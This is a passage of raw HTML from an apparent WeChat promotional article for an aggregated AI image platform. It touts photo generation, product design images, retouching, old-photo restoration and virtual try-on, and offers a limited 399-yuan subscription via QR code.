[&#34;para&#34;,null,&#34;node&#34;,{&#34;tagName&#34;:&#34;span&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;color: rgb(51, 54, 57); font-family: AlibabaPuHuiTi_3_55_Regular, v-sans, system-ui, -apple-system, BlinkMacSystemFont, \&#34;Segoe UI\&#34;, sans-serif, \&#34;Apple Color Emoji\&#34;, \&#34;Segoe UI Emoji\&#34;, \&#34;Segoe UI Symbol\&#34;; font-size: 14px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; white-space: pre-wrap; background-color: rgb(241, 245, 249); text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial; display: inline !important; float: none;&#34;,&#34;data-pm-slice&#34;:&#34;0 0 []&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;strong&#34;,&#34;attributes&#34;:{&#34;data-v-af3ce037&#34;:&#34;,&#34;data-v-4e2afdbc&#34;:&#34;,&#34;class&#34;:&#34;strong-node&#34;,&#34;style&#34;:&#34;box-sizing: border-box; font-weight: 700; color: rgb(51, 54, 57); font-family: AlibabaPuHuiTi_3_55_Regular, v-sans, system-ui, -apple-system, BlinkMacSystemFont, \&#34;Segoe UI\&#34;, sans-serif, \&#34;Apple Color Emoji\&#34;, \&#34;Segoe UI Emoji\&#34;, \&#34;Segoe UI Symbol\&#34;; font-size: 14px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; white-space: normal; background-color: rgb(241, 245, 249); text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial;&#34;,&#34;data-pm-slice&#34;:&#34;0 0 []&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;span&#34;,&#34;attributes&#34;:{&#34;data-v-56f30838&#34;:&#34;,&#34;data-v-af3ce037&#34;:&#34;,&#34;class&#34;:&#34;whitespace-pre-wrap break-words text-node&#34;,&#34;index-key&#34;:&#34;markdown-renderer-31-0-0&#34;,&#34;style&#34;:&#34;box-sizing: border-box; white-space: pre-wrap; display: inline; font-weight: inherit; vertical-align: baseline; overflow-wrap: break-word;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span leaf=""><span textstyle="" style="font-size: 15px;letter-spacing: 0.5px;font-weight: bold;">看看这生成的真人照片，细节逼真到毛孔可见：</span></span></span></strong></p><p nodeleaf="" style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;text-align: center;margin: 0px 16px;line-height: 1.6em;"><img data-aistatus="1" class="rich_pages wxw-img js_img_placeholder wx_img_placeholder" data-ratio="0.6916666666666667" data-s="300,640" data-type="png" data-w="1080" style="height: auto !important;" type="block" data-imgfileid="100000079" src="https://wechat2rss.xlab.app/img-proxy/?k=b0a6cf94&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmecoa_png%2FstTCiaoMolL8q5dwBlrfxjsdZo8aeWPzSMJAn5VGiapgUn9EgRgfZ5K6Iloe7kMaPcRbnUJ9RicDcic1oSLpNIQXdg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg%23imgIndex%3D16"/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 0px 16px;line-height: 1.6em;"><strong data-pm-slice="0 0 []" data-v-4e2afdbc="" data-v-af3ce037=""><span style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span leaf=""><span textstyle="" style="font-size: 15px;letter-spacing: 0.5px;font-weight: bold;">再看这产品设计图，简直是省钱神器！</span></span></span></strong><span data-v-4e2afdbc=""><span style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span leaf=""><span textstyle="" style="font-size: 15px;letter-spacing: 0.5px;">比如你想设计一款茶包包装，打上“茶包”二字，它给出的效果图堪比百万年薪的设计师作品。</span></span></span></span></p><p nodeleaf="" style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;text-align: center;margin: 0px 16px;line-height: 1.6em;"><img data-aistatus="1" class="rich_pages wxw-img js_img_placeholder wx_img_placeholder" data-ratio="0.7870370370370371" data-s="300,640" data-type="png" data-w="1080" style="height: auto !important;" type="block" data-imgfileid="100000094" src="https://wechat2rss.xlab.app/img-proxy/?k=9b61278d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmecoa_png%2FstTCiaoMolLic678u5Wxfx6y4CZ1JtOQZSVceaGprHMvictSg34RMibldbpkP0AO9Eia2niaIdxUmhOStYxykbFTDvjQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg%23imgIndex%3D17"/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 0px 16px;line-height: 1.6em;"><span data-pm-slice="0 0 []"><span style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span leaf=""><span textstyle="" style="font-size: 15px;letter-spacing: 0.5px;">再比如给车厘子做个宣传图，用AI几秒钟出图，不仅省下了高昂的设计费，效果还极其吸睛。</span></span></span></span></p><p nodeleaf="" style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;text-align: center;margin: 0px 16px;line-height: 1.6em;"><img data-aistatus="1" class="rich_pages wxw-img js_img_placeholder wx_img_placeholder" data-ratio="0.6037037037037037" data-s="300,640" data-type="png" data-w="1080" style="height: auto !important;" type="block" data-imgfileid="100000092" src="https://wechat2rss.xlab.app/img-proxy/?k=2a578515&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmecoa_png%2FstTCiaoMolLic678u5Wxfx6y4CZ1JtOQZSAEuctcYddDnBEdmNeACzsspSkRrKBJt6I1JpsVJ1tguPkHdkDBpg6w%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg%23imgIndex%3D18"/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 0px 16px;line-height: 1.6em;"><strong data-v-4e2afdbc="" data-v-af3ce037=""><span style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span leaf=""><span textstyle="" style="font-size: 15px;letter-spacing: 0.5px;font-weight: bold;">原生绘图接口</span></span></span></strong><span data-v-4e2afdbc=""><span style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span leaf=""><span textstyle="" style="font-size: 15px;letter-spacing: 0.5px;font-weight: bold;">，功能一个不少</span><span textstyle="" style="font-size: 15px;letter-spacing: 0.5px;">：文生图、图生图、高清放大、局部重绘、风格变换……官方有的，我们全都有！</span></span></span></span></p><p nodeleaf="" style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;text-align: center;margin: 0px 16px;line-height: 1.6em;"><img data-aistatus="1" class="rich_pages wxw-img js_img_placeholder wx_img_placeholder" data-ratio="0.6203703703703703" data-s="300,640" data-type="png" data-w="1080" style="height: auto !important;" type="block" data-imgfileid="100000081" src="https://wechat2rss.xlab.app/img-proxy/?k=271a87a1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmecoa_png%2FstTCiaoMolL8q5dwBlrfxjsdZo8aeWPzSNEribg68xO4TtYepTHGbbAOUstLQjnnL2iafjoA3RtxU4D6ONqwfOlDA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg%23imgIndex%3D19"/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;line-height: 1.6em;margin: 0px 16px;"><span data-pm-slice="0 0 []"><span style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span leaf=""><span textstyle="" style="font-size: 15px;letter-spacing: 0.5px;">相比原生会员订阅的按时长付费、且限制用量的套餐，我们的AI简直良心到爆！完全没有用量焦虑！</span></span></span></span></p><p data-pm-slice="5 4 []" style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;orphans: auto;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin-right: 16px;margin-left: 16px;letter-spacing: 0.578px;text-align: center;margin-bottom: 0px;line-height: 1.6em;"><span style="color: rgb(220, 155, 4);font-size: 16px;"><strong><span data-mpa-action-id="mgkzvcnt1cbq" data-pm-slice="0 0 []" mpa-font-style="mgkzvcnftga" style="font-size: 15px;"><span leaf=""><span textstyle="" style="letter-spacing: 0.5px;color: rgb(122, 79, 214);">▼扫码上车，开启无限创作</span></span></span></strong></span></p><p data-mpa-action-id="mn2yyiwntj4" data-pm-slice="0 0 []" nodeleaf="" style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;text-align: center;padding: 0.5em;margin-bottom: 0px;"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="1" data-s="300,640" data-type="png" data-w="400" style="box-shadow: rgb(210, 210, 210) 0px 0px 0.5em 0px;background-color: transparent;width: 196px;height: 196px;" type="block" data-imgfileid="100004039" src="https://wechat2rss.xlab.app/img-proxy/?k=b691209a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FQWYz6XmYMgk2zwvlQkIVZIA2KxT3dJibgElC9Xgjf1V29JvwNCmFY0CQraPsAFqcnTubCsUZ80VWUnwZgFWticbTBlurwzFU7bs0o6fK2dMIw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;orphans: auto;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 0px 16px;letter-spacing: 0.578px;text-align: center;line-height: 1.6em;"><strong data-mpa-action-id="mgl135zb23kr" data-pm-slice="0 0 []"><span style="color: rgb(220, 155, 4);font-weight: bold;font-size: 15px;"><span mpa-font-style="mgl135z11f4x" style="letter-spacing: 1px;color: rgb(122, 79, 214);font-size: 16px;"><span leaf=""><span textstyle="" style="letter-spacing: 0.5px;">399元长期使用，仅剩20席</span></span></span></span></strong></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin-right: 16px;margin-left: 16px;letter-spacing: 0.578px;margin-bottom: 24px;line-height: 1.6em;"><span style="letter-spacing: 0.034em;font-size: 16px;margin-bottom: 0px;"><span style="margin-bottom: 0px;"><span data-mpa-action-id="mglccgk8wu2" data-pm-slice="0 0 []" mpa-font-style="mglccgk2si9" style="font-size: 20px;"><span leaf=""><span textstyle="" style="letter-spacing: 0.5px;color: rgb(122, 79, 214);font-weight: bold;">六、修图能力，精准高质</span></span></span></span></span></p><p data-pm-slice="0 0 []" style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin-left: 16px;margin-right: 16px;margin-bottom: 0px;"><span mpa-font-style="mm8y5fvo23jt" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span mpa-font-style="mmbrxyg21r93" style="font-size: 16px;"><span style="letter-spacing: 0.5px;"><span leaf="">我们平台的修图功能真正做到了</span></span><span style="letter-spacing: 0.5px;color: rgb(0, 0, 0);font-weight: bold;"><span leaf="">【指哪改哪】、【不毁原图】，</span></span><span style="letter-spacing: 0.5px;"><span leaf="">每一处修改都精准细腻，无任何违和感！</span></span></span></span></p><p data-pm-slice="0 0 []" style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin-left: 16px;margin-right: 16px;margin-bottom: 0px;"><span mpa-font-style="mmbrxyg221kh" style="color: rgba(0, 0, 0, 0.9);font-size: 16px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span leaf=""><span textstyle="" style="letter-spacing: 0.5px;font-weight: bold;">给大家举几个实用示例，一看就懂：</span></span></span></p><p data-v-37d25bc6="" data-v-4e2afdbc="" dir="auto" is-dark="false" typewriter="true" style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin-left: 16px;margin-right: 16px;line-height: 1.6em;margin-bottom: 0px;"><strong data-v-4e2afdbc="" data-v-af3ce037="" mpa-font-style="mmbrxyg21x3j" style="font-size: 16px;"><span style="color: rgba(0, 0, 0, 0.9);font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span leaf=""><span textstyle="" style="letter-spacing: 0.5px;font-weight: bold;">去马赛克/修复画质</span><span textstyle="" style="letter-spacing: 0.5px;">：</span></span></span></strong><span data-v-4e2afdbc=""><span style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span mpa-font-style="mmbrxyg2aa" style="font-size: 16px;letter-spacing: 0.5px;"><span leaf=""> 以前觉得不可能的事，现在用聚合AI的顶流修图模型，轻松复原。</span></span></span></span></p><p nodeleaf="" style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;text-align: center;margin-left: 16px;margin-right: 16px;line-height: 1.6em;margin-bottom: 0px;"><img data-aistatus="1" class="rich_pages wxw-img js_img_placeholder wx_img_placeholder __bg_gif" data-ratio="0.5287037037037037" data-type="gif" data-w="1080" style="height: auto !important;" type="block" data-imgfileid="100000103" src="https://wechat2rss.xlab.app/img-proxy/?k=745756f1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmecoa_gif%2FstTCiaoMolLic678u5Wxfx6y4CZ1JtOQZSWG8FjAbGEjrrk7FoPr1iaybwxsI1YBQP9ZEYyggnaVagibFwTMI9ReEw%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg%23imgIndex%3D23"/></p><p data-v-37d25bc6="" data-v-4e2afdbc="" dir="auto" is-dark="false" typewriter="true" style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin-left: 16px;margin-right: 16px;margin-bottom: 0px;"><strong data-v-4e2afdbc="" data-v-af3ce037=""><span style="color: rgba(0, 0, 0, 0.9);font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;font-style: normal;font-weight: normal;font-size: 16px;letter-spacing: 0.5px;"><span leaf=""><span textstyle="" style="font-weight: bold;">真人转手办/二次元：</span></span></span></strong><span data-v-4e2afdbc=""><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;font-style: normal;font-weight: normal;font-size: 16px;letter-spacing: 0.5px;"> 上传照片，一句话指令，秒变精致手办风格。</span></span></p><p nodeleaf="" style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;text-align: center;margin-left: 16px;margin-right: 16px;line-height: 1.6em;margin-bottom: 0px;"><img data-aistatus="1" class="rich_pages wxw-img js_img_placeholder wx_img_placeholder __bg_gif" data-ratio="0.5287037037037037" data-type="gif" data-w="1080" style="height: auto !important;" type="block" data-imgfileid="100000104" src="https://wechat2rss.xlab.app/img-proxy/?k=4a828b8d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmecoa_gif%2FstTCiaoMolLic678u5Wxfx6y4CZ1JtOQZStLCVoWoKnEFMadx0ec1Cc0oianEn4PhiaAYv7BZ6ibu3OlBD0oXdoibOAQ%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg%23imgIndex%3D24"/></p><p data-mpa-action-id="mmbtffe31mbq" data-pm-slice="0 0 []" data-v-37d25bc6="" data-v-4e2afdbc="" dir="auto" is-dark="false" typewriter="true" style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;margin: 0px 16px;line-height: 1.6em;"><strong data-v-4e2afdbc="" data-v-af3ce037="" style="box-sizing: border-box;font-weight: 700;"><span data-v-56f30838="" data-v-af3ce037="" index-key="list-item-markdown-renderer-42-2-0-0-0" style="box-sizing: border-box;white-space: pre-wrap;display: inline;font-weight: inherit;vertical-align: baseline;overflow-wrap: break-word;"><span mpa-font-style="mmbtffdv1sem" style="font-size: 16px;letter-spacing: 0.5px;"><span leaf="">老照片修复：</span></span></span></strong><span data-v-4e2afdbc="" style="box-sizing: border-box;white-space: pre-wrap;display: inline;font-weight: inherit;vertical-align: baseline;overflow-wrap: break-word;"><span mpa-font-style="mmbtffdv99i" style="font-size: 16px;letter-spacing: 0.5px;"><span leaf=""> 别再去某宝花冤枉钱了，10秒钟让模糊老照片焕发新生。</span></span></span></p><p nodeleaf="" style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;text-align: center;margin-left: 16px;margin-right: 16px;line-height: 1.6em;margin-bottom: 0px;"><img data-aistatus="1" class="rich_pages wxw-img js_insertlocalimg js_img_placeholder wx_img_placeholder __bg_gif" data-ratio="0.58758109360519" data-s="300,640" data-type="gif" data-w="1079" style="height: auto !important;" type="block" data-imgfileid="100000112" src="https://wechat2rss.xlab.app/img-proxy/?k=a4081698&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmecoa_gif%2FstTCiaoMolLibXWSQVe6xrgKRgMAQC9W8blm0H61iapib2SC2JkjVx5tq4QUTVfZArO3JxfxrQIQ6zgCTic5SCE0dIQ%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg%23imgIndex%3D25"/></p><p data-mpa-action-id="mmbtf4xo1xq9" data-pm-slice="0 0 []" data-v-37d25bc6="" data-v-4e2afdbc="" dir="auto" is-dark="false" typewriter="true" style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;margin: 0px 16px;line-height: 1.6em;"><strong data-v-4e2afdbc="" data-v-af3ce037="" style="box-sizing: border-box;font-weight: 700;"><span data-v-56f30838="" data-v-af3ce037="" index-key="list-item-markdown-renderer-42-3-0-0-0" style="box-sizing: border-box;white-space: pre-wrap;display: inline;font-weight: inherit;vertical-align: baseline;overflow-wrap: break-word;"><span mpa-font-style="mmbtf4xfx3j" style="font-size: 16px;letter-spacing: 0.5px;"><span leaf="">AI试衣/换装：</span></span></span></strong><span data-v-4e2afdbc="" style="box-sizing: border-box;white-space: pre-wrap;display: inline;font-weight: inherit;vertical-align: baseline;overflow-wrap: break-word;"><span mpa-font-style="mmbtf4xf1000" style="font-size: 16px;letter-spacing: 0.5px;"><span leaf=""> 电商人的福音！不用请模特，直接把衣服“穿”到AI模特身上，省时又省力。</span></span></span></p><p nodeleaf="" style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;text-align: center;margin-left: 16px;margin-right: 16px;line-height: 1.6em;margin-bottom: 0px;"><img data-aistatus="1" class="rich_pages wxw-img js_img_placeholder wx_img_placeholder __bg_gif" data-ratio="0.58758109360519" data-type="gif" data-w="1079" style="height: auto !important;" type="block" data-imgfileid="100000105" src="https://wechat2rss.xlab.app/img-proxy/?k=604c3885&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmecoa_gif%2FstTCiaoMolLibXWSQVe6xrgKRgMAQC9W8bqmcLbk8SnlxSt5OREZQOV0NXQyA73BnD4icyX1icVb14BohnP1fQGiaCA%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg%23imgIndex%3D26"/></p><div style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin-bottom: 0px;"><ul style="list-style-type: disc;" class="list-paddingleft-1"></ul><p data-pm-slice="0 0 []" style="box-sizing: border-box;margin: 0px 16px;line-height: 1.6em;"><span data-mpa-action-id="mgmyqg031xda" data-pm-slice="0 0 []" mpa-font-style="mgmyqfzu11l1"><span leaf="" style="box-sizing: border-box;white-space: pre-wrap;display: inline;font-weight: inherit;vertical-align: baseline;overflow-wrap: break-word;font-size: 16px;letter-spacing: 0.5px;">搞电商的兄弟姐妹们的狂喜，终于不用花钱请模特了<img data-aistatus="1" class="rich_pages wxw-img" data-ratio="1" data-type="png" data-w="128" style="display: inline-block;font-size: 22px;width: 1em;height: 1em;vertical-align: middle;background-size: 1em auto;background-repeat: no-repeat;margin-top: -0.2em;" data-imgfileid="100016829" src="https://wechat2rss.xlab.app/img-proxy/?k=844ec5ae&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FVnwOz8XYCTZlhg5YEthsuxkZg0DjYriaBrSjmCa540yib81kRsGTn5I8QtC0WbZQ6JFrQJy5ibGqSkt4B5l0ib6Odib9m6cPzrlBRy86wcpRwoAc%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/>想线上试穿衣服的消费者，也可以轻松实现<img data-aistatus="1" class="rich_pages wxw-img" data-ratio="1" data-type="png" data-w="128" style="display: inline-block;font-size: 22px;width: 1em;height: 1em;vertical-align: middle;background-size: 1em auto;background-repeat: no-repeat;margin-top: -0.2em;" data-imgfileid="100016828" src="https://wechat2rss.xlab.app/img-proxy/?k=40272765&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FVnwOz8XYCTa9JBKibIstGbQOpFN9nAiaulLbdvrVXJISL9SS2iblrAHWQygHeM3t0EjvadpG1mgoXbU2QqL3nYibftouUKFNJjFXfb1h67nvKyk%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></span></p></div><p nodeleaf="" style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 